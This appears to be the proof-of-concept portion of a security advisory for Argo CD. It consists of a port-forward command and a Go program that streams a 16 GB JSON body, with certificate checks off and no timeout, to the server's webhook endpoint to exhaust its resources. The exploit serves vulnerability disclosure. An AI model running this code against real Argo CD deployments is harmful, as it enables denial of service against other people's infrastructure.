GHSA-jmvp-698c-4x3w

kubectl port-forward svc/argocd-server -n argocd 8080:443

package main import ( "crypto/tls" "io" "net/http" ) // Define a custom io.Reader that generates a large dummy JSON payload. type DummyJSONReader struct { size int64 // Total size to generate read int64 // Bytes already generated } // Read generates the next chunk of the dummy JSON payload. func (r *DummyJSONReader) Read(p []byte) (n int, err error) { if r.read >= r.size { return 0, io.EOF // Finished generating } start := false if r.read == 0 { // Start of JSON p[0] = '{' p[1] = '"' p[2] = 'd' p[3] = 'a' p[4] = 't' p[5] = 'a' p[6] = '"' p[7] = ':' p[8] = '"' n = 9 start = true } for i := n; i < len(p); i++ { if r.read+int64(i)-int64(n)+1 == r.size-1 { // End of JSON p[i] = '"' p[i+1] = '}' r.read += int64(i) + 2 - int64(n) return i + 2 - n, nil } else { p[i] = 'x' // Dummy data } } r.read += int64(len(p)) - int64(n) if start { return len(p), nil } return len(p) - n, nil } func main() { // Initialize the custom reader with the desired size (16GB in this case). payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB reader := &DummyJSONReader{size: payloadSize} // HTTP client setup httpClient := &http.Client{ Timeout: 0, // No timeout Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader) if err != nil { panic(err) } // Set headers req.Header.Set("Content-Type", "application/json") req.Header.Set("X-GitHub-Event", "push") resp, err := httpClient.Do(req) if err != nil { panic(err) } defer resp.Body.Close() println("Response status code:", resp.StatusCode) }